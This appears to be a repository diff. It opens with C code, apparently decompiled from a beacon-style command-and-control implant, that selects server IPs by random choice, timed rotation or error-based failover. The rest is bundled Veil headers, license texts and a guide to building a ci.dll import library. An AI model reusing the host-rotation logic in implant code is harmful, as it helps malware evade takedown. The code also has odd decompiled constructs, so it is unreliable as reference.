/// <param name="ServerIP"></param>
/// <returns></returns>
char* random_selection(char* ServerIP)
{
int current_ip_id = 0;
int ip_id = 0 ;
if (ServerIP_Buff_random)
{
current_ip_id = g_current_ip_index_random;
}
else
{
ServerIP_Buff_random = (char*)malloc(strlen(ServerIP) + 1);
strncpy(ServerIP_Buff_random, ServerIP, strlen(ServerIP) + 1);
g_ip_number_random = 0;
for (char* ip = strtok(ServerIP_Buff_random, ","); ip; ip = strtok(0, ","))
{
int ip_id = g_ip_number_random++;
g_ip_array_random[ip_id] = ip;
}
current_ip_id = -1;
g_current_ip_index_random = -1;
}
if (current_ip_id < 0 || current_ip_id >= g_ip_number_random)
{
ip_id = random_int(g_ip_number_random - 1);
ip_id = random_ipid(ip_id);
g_current_ip_index_random = ip_id;
}
else
{
ip_id = current_ip_id + 1;
g_current_ip_index_random =- 1;
}
return g_ip_array_random[ip_id];
}
/// <summary>
/// 轮询模式下ip缓冲区
/// </summary>
char* ServerIP_Buff_carousel;
/// <summary>
/// 轮询 错误切换根据错误次数切换的指定错误次数
/// </summary>
int g_failover_Strategy_number;
/// <summary>
/// 轮询 错误切换根据时间切换的间隔时间
/// </summary>
int g_failover_Strategy_time;
/// <summary>
/// 轮询模式的ip数量
/// </summary>
int g_ip_number_carousel;
/// <summary>
/// 轮询模式的ip数组,保存所有的ip指针
/// </summary>
char* g_ip_array_carousel[200];
/// <summary>
/// 轮询模式下当前使用的ip索引,通过此id从数组里取ip指针
/// </summary>
int g_ip_index_carousel;
/// <summary>
///
/// </summary>
__int64 g_time;
/// <summary>
/// 轮询 定时切换 间隔时间
/// </summary>
int g_rotate_Strategy_time;
/// <summary>
/// 根据错误时间进行轮询
/// </summary>
__int64 g_failover_time;
/// <summary>
/// 错误次数
/// </summary>
int g_failover_number;
int dword_10037E80;
char* carousel(rotationstruc* rotation_opt, char* ServerIP, int number)
{
char* ipsrc;
int ip_id;
signed int failover_Strategy_number;
signed int failover_Strategy_time;
char* result;
__time64_t current_time;
int v10;
v10 = 0;
current_time = _time64(0);
if (ServerIP_Buff_carousel)
{
failover_Strategy_number = g_failover_Strategy_number;
failover_Strategy_time = g_failover_Strategy_time;
}
else
{
ServerIP_Buff_carousel = (char*)malloc(strlen(ServerIP) + 1);
strncpy(ServerIP_Buff_carousel, ServerIP, strlen(ServerIP) + 1);
g_ip_number_carousel = 0;
for (ipsrc = strtok(ServerIP_Buff_carousel, ","); ipsrc; ipsrc = strtok(0, ","))
{
ip_id = g_ip_number_carousel++;
g_ip_array_carousel[ip_id] = ipsrc;
}
g_ip_index_carousel = 0;
g_time = _time64(0);
failover_Strategy_number = rotation_opt->failover_Strategy_number;
g_rotate_Strategy_time = rotation_opt->rotate_Strategy_time;
failover_Strategy_time = rotation_opt->failover_Strategy_time;
g_failover_time = 0i64;
g_failover_Strategy_number = failover_Strategy_number;
g_failover_Strategy_time = failover_Strategy_time;
}
if (number)
{
if (failover_Strategy_number > -1 && ++g_failover_number > failover_Strategy_number)
{
v10 = 1;
}
if (failover_Strategy_time > -1)
{
if (g_failover_time)
{
if (current_time > g_failover_time + failover_Strategy_time)
{
v10 = 1;
}
}
else
{
g_failover_time = _time64(0);
}
}
}
else if (!dword_10037E80)
{
g_failover_time = 0i64;
g_failover_number = 0;
}
if (g_rotate_Strategy_time <= -1)
{
goto LABEL_23;
}
if (!v10)
{
if (dword_10037E80)
{
result = g_ip_array_carousel[g_ip_index_carousel + 1];
dword_10037E80 = 0;
return result;
}
if (current_time <= g_time + g_rotate_Strategy_time)
{
result = g_ip_array_carousel[g_ip_index_carousel];
dword_10037E80 = 1;
return result;
}
v10 = 1;
LABEL_23:
if (!v10)
{
if (!dword_10037E80)
{
result = g_ip_array_carousel[g_ip_index_carousel];
dword_10037E80 = 1;
return result;
}
result = g_ip_array_carousel[g_ip_index_carousel + 1];
dword_10037E80 = 0;
return result;
}
}
g_ip_index_carousel += 2;
g_failover_number = 0;
dword_10037E80 = 0;
g_failover_time = 0i64;
if (g_ip_index_carousel >= g_ip_number_carousel)
{
g_ip_index_carousel = 0;
}
g_time = _time64(0);
if (!dword_10037E80)
{
result = g_ip_array_carousel[g_ip_index_carousel];
dword_10037E80 = 1;
return result;
}
result = g_ip_array_carousel[g_ip_index_carousel + 1];
dword_10037E80 = 0;
return result;
}
char* g_ServerIP_Buff;
char* no_rotation(char* ServerIP)
{
char* result;
if (g_ServerIP_Buff)
{
result = strtok(0, ",");
if (result)
{
return result;
}
free(g_ServerIP_Buff);
}
g_ServerIP_Buff = (char*)malloc(strlen(ServerIP) + 1);
strncpy(g_ServerIP_Buff, ServerIP, strlen(ServerIP) + 1);
return strtok(g_ServerIP_Buff, ",");
}
/// <summary>
/// 轮询模式 错误切换 定时切换
/// </summary>
/// <param name="rotation_opt"></param>
/// <param name="ServerIP"></param>
/// <param name="number"></param>
/// <returns></returns>
char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number)
{
if (rotation_opt->strategyID == 1)// random 随机选择
{
return (char*)random_selection(ServerIP);
}
if (rotation_opt->strategyID == 2)//rotate或failover
{
return (char*)carousel(rotation_opt, ServerIP, number);
}
return no_rotation(ServerIP); // 非轮询
}

16
ReBeacon_Src/rotation.h Normal file
View File

@ -0,0 +1,16 @@
#pragma once
#include <Veil/Veil.h>
extern int dword_10037E80;
extern char* g_ServerIP_Buff;
typedef struct
{
DWORD strategyID;
DWORD rotate_Strategy_time;
DWORD failover_Strategy_time;
DWORD failover_Strategy_number;
}rotationstruc;
void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_id);
char* beacon_Rotation_Strategy(rotationstruc* rotation_opt, char* ServerIP, int number);

350
include/Veil/.gitignore vendored Normal file
View File

@ -0,0 +1,350 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Mono auto generated files
mono_crash.*
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
[Ll]ogs/
# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# Visual Studio 2017 auto generated files
Generated\ Files/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# Benchmark Results
BenchmarkDotNet.Artifacts/
# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/
# StyleCop
StyleCopReport.xml
# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# Visual Studio Trace Files
*.e2e
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json
# Visual Studio code coverage results
*.coverage
*.coveragexml
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs
# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak
# SQL Server files
*.mdf
*.ldf
*.ndf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# CodeRush personal settings
.cr/personal
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config
# Tabs Studio
*.tss
# Telerik's JustMock configuration file
*.jmconfig
# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs
# OpenCover UI analysis results
OpenCover/
# Azure Stream Analytics local run output
ASALocalRun/
# MSBuild Binary and Structured Log
*.binlog
# NVidia Nsight GPU debugger configuration file
*.nvuser
# MFractors (Xamarin productivity tool) working folder
.mfractor/
# Local History for Visual Studio
.localhistory/
# BeatPulse healthcheck temp database
healthchecksdb
# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/
# Ionide (cross platform F# VS Code tools) working folder
.ionide/

21
include/Veil/LICENSE Normal file
View File

@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) MiroKaku(MeeSong) and Contributors. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

21
include/Veil/LICENSE.MINT Normal file
View File

@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) Chuyu-Team and Contributors. All rights reserved.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

395
include/Veil/LICENSE.phnt Normal file
View File

@ -0,0 +1,395 @@
Attribution 4.0 International
=======================================================================
Creative Commons Corporation ("Creative Commons") is not a law firm and
does not provide legal services or legal advice. Distribution of
Creative Commons public licenses does not create a lawyer-client or
other relationship. Creative Commons makes its licenses and related
information available on an "as-is" basis. Creative Commons gives no
warranties regarding its licenses, any material licensed under their
terms and conditions, or any related information. Creative Commons
disclaims all liability for damages resulting from their use to the
fullest extent possible.
Using Creative Commons Public Licenses
Creative Commons public licenses provide a standard set of terms and
conditions that creators and other rights holders may use to share
original works of authorship and other material subject to copyright
and certain other rights specified in the public license below. The
following considerations are for informational purposes only, are not
exhaustive, and do not form part of our licenses.
Considerations for licensors: Our public licenses are
intended for use by those authorized to give the public
permission to use material in ways otherwise restricted by
copyright and certain other rights. Our licenses are
irrevocable. Licensors should read and understand the terms
and conditions of the license they choose before applying it.
Licensors should also secure all rights necessary before
applying our licenses so that the public can reuse the
material as expected. Licensors should clearly mark any
material not subject to the license. This includes other CC-
licensed material, or material used under an exception or
limitation to copyright. More considerations for licensors:
wiki.creativecommons.org/Considerations_for_licensors
Considerations for the public: By using one of our public
licenses, a licensor grants the public permission to use the
licensed material under specified terms and conditions. If
the licensor's permission is not necessary for any reason--for
example, because of any applicable exception or limitation to
copyright--then that use is not regulated by the license. Our
licenses grant only permissions under copyright and certain
other rights that a licensor has authority to grant. Use of
the licensed material may still be restricted for other
reasons, including because others have copyright or other
rights in the material. A licensor may make special requests,
such as asking that all changes be marked or described.
Although not required by our licenses, you are encouraged to
respect those requests where reasonable. More considerations
for the public:
wiki.creativecommons.org/Considerations_for_licensees
=======================================================================
Creative Commons Attribution 4.0 International Public License
By exercising the Licensed Rights (defined below), You accept and agree
to be bound by the terms and conditions of this Creative Commons
Attribution 4.0 International Public License ("Public License"). To the
extent this Public License may be interpreted as a contract, You are
granted the Licensed Rights in consideration of Your acceptance of
these terms and conditions, and the Licensor grants You such rights in
consideration of benefits the Licensor receives from making the
Licensed Material available under these terms and conditions.
Section 1 -- Definitions.
a. Adapted Material means material subject to Copyright and Similar
Rights that is derived from or based upon the Licensed Material
and in which the Licensed Material is translated, altered,
arranged, transformed, or otherwise modified in a manner requiring
permission under the Copyright and Similar Rights held by the
Licensor. For purposes of this Public License, where the Licensed
Material is a musical work, performance, or sound recording,
Adapted Material is always produced where the Licensed Material is
synched in timed relation with a moving image.
b. Adapter's License means the license You apply to Your Copyright
and Similar Rights in Your contributions to Adapted Material in
accordance with the terms and conditions of this Public License.
c. Copyright and Similar Rights means copyright and/or similar rights
closely related to copyright including, without limitation,
performance, broadcast, sound recording, and Sui Generis Database
Rights, without regard to how the rights are labeled or
categorized. For purposes of this Public License, the rights
specified in Section 2(b)(1)-(2) are not Copyright and Similar
Rights.
d. Effective Technological Measures means those measures that, in the
absence of proper authority, may not be circumvented under laws
fulfilling obligations under Article 11 of the WIPO Copyright
Treaty adopted on December 20, 1996, and/or similar international
agreements.
e. Exceptions and Limitations means fair use, fair dealing, and/or
any other exception or limitation to Copyright and Similar Rights
that applies to Your use of the Licensed Material.
f. Licensed Material means the artistic or literary work, database,
or other material to which the Licensor applied this Public
License.
g. Licensed Rights means the rights granted to You subject to the
terms and conditions of this Public License, which are limited to
all Copyright and Similar Rights that apply to Your use of the
Licensed Material and that the Licensor has authority to license.
h. Licensor means the individual(s) or entity(ies) granting rights
under this Public License.
i. Share means to provide material to the public by any means or
process that requires permission under the Licensed Rights, such
as reproduction, public display, public performance, distribution,
dissemination, communication, or importation, and to make material
available to the public including in ways that members of the
public may access the material from a place and at a time
individually chosen by them.
j. Sui Generis Database Rights means rights other than copyright
resulting from Directive 96/9/EC of the European Parliament and of
the Council of 11 March 1996 on the legal protection of databases,
as amended and/or succeeded, as well as other essentially
equivalent rights anywhere in the world.
k. You means the individual or entity exercising the Licensed Rights
under this Public License. Your has a corresponding meaning.
Section 2 -- Scope.
a. License grant.
1. Subject to the terms and conditions of this Public License,
the Licensor hereby grants You a worldwide, royalty-free,
non-sublicensable, non-exclusive, irrevocable license to
exercise the Licensed Rights in the Licensed Material to:
a. reproduce and Share the Licensed Material, in whole or
in part; and
b. produce, reproduce, and Share Adapted Material.
2. Exceptions and Limitations. For the avoidance of doubt, where
Exceptions and Limitations apply to Your use, this Public
License does not apply, and You do not need to comply with
its terms and conditions.
3. Term. The term of this Public License is specified in Section
6(a).
4. Media and formats; technical modifications allowed. The
Licensor authorizes You to exercise the Licensed Rights in
all media and formats whether now known or hereafter created,
and to make technical modifications necessary to do so. The
Licensor waives and/or agrees not to assert any right or
authority to forbid You from making technical modifications
necessary to exercise the Licensed Rights, including
technical modifications necessary to circumvent Effective
Technological Measures. For purposes of this Public License,
simply making modifications authorized by this Section 2(a)
(4) never produces Adapted Material.
5. Downstream recipients.
a. Offer from the Licensor -- Licensed Material. Every
recipient of the Licensed Material automatically
receives an offer from the Licensor to exercise the
Licensed Rights under the terms and conditions of this
Public License.
b. No downstream restrictions. You may not offer or impose
any additional or different terms or conditions on, or
apply any Effective Technological Measures to, the
Licensed Material if doing so restricts exercise of the
Licensed Rights by any recipient of the Licensed
Material.
6. No endorsement. Nothing in this Public License constitutes or
may be construed as permission to assert or imply that You
are, or that Your use of the Licensed Material is, connected
with, or sponsored, endorsed, or granted official status by,
the Licensor or others designated to receive attribution as
provided in Section 3(a)(1)(A)(i).
b. Other rights.
1. Moral rights, such as the right of integrity, are not
licensed under this Public License, nor are publicity,
privacy, and/or other similar personality rights; however, to
the extent possible, the Licensor waives and/or agrees not to
assert any such rights held by the Licensor to the limited
extent necessary to allow You to exercise the Licensed
Rights, but not otherwise.
2. Patent and trademark rights are not licensed under this
Public License.
3. To the extent possible, the Licensor waives any right to
collect royalties from You for the exercise of the Licensed
Rights, whether directly or through a collecting society
under any voluntary or waivable statutory or compulsory
licensing scheme. In all other cases the Licensor expressly
reserves any right to collect such royalties.
Section 3 -- License Conditions.
Your exercise of the Licensed Rights is expressly made subject to the
following conditions.
a. Attribution.
1. If You Share the Licensed Material (including in modified
form), You must:
a. retain the following if it is supplied by the Licensor
with the Licensed Material:
i. identification of the creator(s) of the Licensed
Material and any others designated to receive
attribution, in any reasonable manner requested by
the Licensor (including by pseudonym if
designated);
ii. a copyright notice;
iii. a notice that refers to this Public License;
iv. a notice that refers to the disclaimer of
warranties;
v. a URI or hyperlink to the Licensed Material to the
extent reasonably practicable;
b. indicate if You modified the Licensed Material and
retain an indication of any previous modifications; and
c. indicate the Licensed Material is licensed under this
Public License, and include the text of, or the URI or
hyperlink to, this Public License.
2. You may satisfy the conditions in Section 3(a)(1) in any
reasonable manner based on the medium, means, and context in
which You Share the Licensed Material. For example, it may be
reasonable to satisfy the conditions by providing a URI or
hyperlink to a resource that includes the required
information.
3. If requested by the Licensor, You must remove any of the
information required by Section 3(a)(1)(A) to the extent
reasonably practicable.
4. If You Share Adapted Material You produce, the Adapter's
License You apply must not prevent recipients of the Adapted
Material from complying with this Public License.
Section 4 -- Sui Generis Database Rights.
Where the Licensed Rights include Sui Generis Database Rights that
apply to Your use of the Licensed Material:
a. for the avoidance of doubt, Section 2(a)(1) grants You the right
to extract, reuse, reproduce, and Share all or a substantial
portion of the contents of the database;
b. if You include all or a substantial portion of the database
contents in a database in which You have Sui Generis Database
Rights, then the database in which You have Sui Generis Database
Rights (but not its individual contents) is Adapted Material; and
c. You must comply with the conditions in Section 3(a) if You Share
all or a substantial portion of the contents of the database.
For the avoidance of doubt, this Section 4 supplements and does not
replace Your obligations under this Public License where the Licensed
Rights include other Copyright and Similar Rights.
Section 5 -- Disclaimer of Warranties and Limitation of Liability.
a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE
EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS
AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF
ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS,
IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION,
WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS,
ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT
KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT
ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU.
b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE
TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION,
NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT,
INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES,
COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR
USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN
ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR
DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR
IN PART, THIS LIMITATION MAY NOT APPLY TO YOU.
c. The disclaimer of warranties and limitation of liability provided
above shall be interpreted in a manner that, to the extent
possible, most closely approximates an absolute disclaimer and
waiver of all liability.
Section 6 -- Term and Termination.
a. This Public License applies for the term of the Copyright and
Similar Rights licensed here. However, if You fail to comply with
this Public License, then Your rights under this Public License
terminate automatically.
b. Where Your right to use the Licensed Material has terminated under
Section 6(a), it reinstates:
1. automatically as of the date the violation is cured, provided
it is cured within 30 days of Your discovery of the
violation; or
2. upon express reinstatement by the Licensor.
For the avoidance of doubt, this Section 6(b) does not affect any
right the Licensor may have to seek remedies for Your violations
of this Public License.
c. For the avoidance of doubt, the Licensor may also offer the
Licensed Material under separate terms or conditions or stop
distributing the Licensed Material at any time; however, doing so
will not terminate this Public License.
d. Sections 1, 5, 6, 7, and 8 survive termination of this Public
License.
Section 7 -- Other Terms and Conditions.
a. The Licensor shall not be bound by any additional or different
terms or conditions communicated by You unless expressly agreed.
b. Any arrangements, understandings, or agreements regarding the
Licensed Material not stated herein are separate from and
independent of the terms and conditions of this Public License.
Section 8 -- Interpretation.
a. For the avoidance of doubt, this Public License does not, and
shall not be interpreted to, reduce, limit, restrict, or impose
conditions on any use of the Licensed Material that could lawfully
be made without permission under this Public License.
b. To the extent possible, if any provision of this Public License is
deemed unenforceable, it shall be automatically reformed to the
minimum extent necessary to make it enforceable. If the provision
cannot be reformed, it shall be severed from this Public License
without affecting the enforceability of the remaining terms and
conditions.
c. No term or condition of this Public License will be waived and no
failure to comply consented to unless expressly agreed to by the
Licensor.
d. Nothing in this Public License constitutes or may be interpreted
as a limitation upon, or waiver of, any privileges and immunities
that apply to the Licensor or You, including from the legal
processes of any jurisdiction or authority.
=======================================================================
Creative Commons is not a party to its public
licenses. Notwithstanding, Creative Commons may elect to apply one of
its public licenses to material it publishes and in those instances
will be considered the “Licensor.” The text of the Creative Commons
public licenses is dedicated to the public domain under the CC0 Public
Domain Dedication. Except for the limited purpose of indicating that
material is shared under a Creative Commons public license or as
otherwise permitted by the Creative Commons policies published at
creativecommons.org/policies, Creative Commons does not authorize the
use of the trademark "Creative Commons" or any other trademark or logo
of Creative Commons without its prior written consent including,
without limitation, in connection with any unauthorized modifications
to any of its public licenses or any other arrangements,
understandings, or agreements concerning use of licensed material. For
the avoidance of doubt, this paragraph does not form part of the
public licenses.
Creative Commons may be contacted at creativecommons.org.

View File

@ -0,0 +1,82 @@
# Generating import libraries (.lib files)
Usually when linking with a certain dll, youd use an import library provided by the vendor.
In our case, no such ci.lib file is provided and we need to generate it ourselves.
This lib file should be added as a linker input in the project properties.
## 64 bit
Get the exported functions from the dll, using dumpbin utility:
`dumpbin /EXPORTS c:\windows\system32\ci.dll`
Create a .def file. It will looks something like this:
```c
LIBRARY ci.dll
EXPORTS
CiValidateFileAsImageType @1 NONAME
CiRegisterSigningInformation @2 NONAME
CiUnregisterSigningInformation @3 NONAME
CiCheckSignedFile
CiFindPageHashesInCatalog
CiFindPageHashesInSignedFile
CiFreePolicyInfo
CiGetCertPublisherName
CiGetPEInformation
CiInitialize
CiSetTrustedOriginClaimId
CiValidateFileObject
CiVerifyHashInCatalog
```
Generate the .lib file using the lib utility:
`lib /def:ci.def /machine:x64 /out:ci.lib`
## 32 bit
Here the situation gets a bit trickier, since in 32bit the functions are decorated to
include the sum of the arguments (in bytes), for example:
`CiFreePolicyInfo@4`
But ci.dll is exporting the functions in their non-decorated shape, so we need to create a .lib file that makes this translation.
- Follow the first two steps of the 64bit section above.
- Create a C++ file with function stubs - the same signature but dummy body. You basically mimic what the vendor did when exporting
the functions from their code. For example:
```c
_IRQL_requires_max_(PASSIVE_LEVEL)
PVOID
NTAPI
CiFreePolicyInfo(
_In_ MINCRYPT_POLICY_INFO* PolicyInfo
)
{
UNREFERENCED_PARAMETER(PolicyInfo);
return nullptr;
}
```
An example of such file is included in this repo under the name Stub.Ci.cpp
- Compile it into an OBJ file.
```bat
> SET KM_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km"
> SET CRT_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km\crt"
> SET KIT_SHARED_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\shared"
>
> cl Stub.Ci.cpp /c /kernel /Zc:wchar_t /I%KM_IncludePath% /I%CRT_IncludePath% /I%KIT_SHARED_IncludePath% /D _X86_=1 /D i386=1 /DSTD_CALL /D_MINCRYPT_LIB
```
- Generate the .lib file using the lib utility, this time with the OBJ file:
```bat
> lib /def:ci.def /machine:x86 /out:ci.lib Stub.Ci.obj
```

View File

@ -0,0 +1,142 @@
#include "../Veil.h"
EXTERN_C_START
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
NTSTATUS
NTAPI
CiCheckSignedFile(
_In_ PVOID Hash,
_In_ UINT32 HashSize,
_In_ ALG_ID HashAlgId,
_In_ PVOID SecurityDirectory,
_In_ UINT32 SizeOfSecurityDirectory,
_Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
_Out_ LARGE_INTEGER* SigningTime,
_Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo
)
{
UNREFERENCED_PARAMETER(Hash);
UNREFERENCED_PARAMETER(HashSize);
UNREFERENCED_PARAMETER(HashAlgId);
UNREFERENCED_PARAMETER(SecurityDirectory);
UNREFERENCED_PARAMETER(SizeOfSecurityDirectory);
UNREFERENCED_PARAMETER(PolicyInfo);
UNREFERENCED_PARAMETER(SigningTime);
UNREFERENCED_PARAMETER(TimeStampPolicyInfo);
return STATUS_SUCCESS;
}
_IRQL_requires_max_(PASSIVE_LEVEL)
MINCRYPTAPI
NTSTATUS
NTAPI
CiVerifyHashInCatalog(
_In_ PVOID Hash,
_In_ UINT32 HashSize,
_In_ ALG_ID HashAlgId,
_In_ BOOLEAN IsReloadCatalogs,
_In_ UINT32 Always0, // This is for IsReloadCatalogs, Always0 != 0 ? 16 : 24;
_In_ UINT32 Always2007F,
_Out_ MINCRYPT_POLICY_INFO* PolicyInfo,
_Out_opt_ UNICODE_STRING* CatalogName,
_Out_ LARGE_INTEGER* SigningTime,
_Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo
)
{
UNREFERENCED_PARAMETER(Hash);
UNREFERENCED_PARAMETER(HashSize);
UNREFERENCED_PARAMETER(HashAlgId);
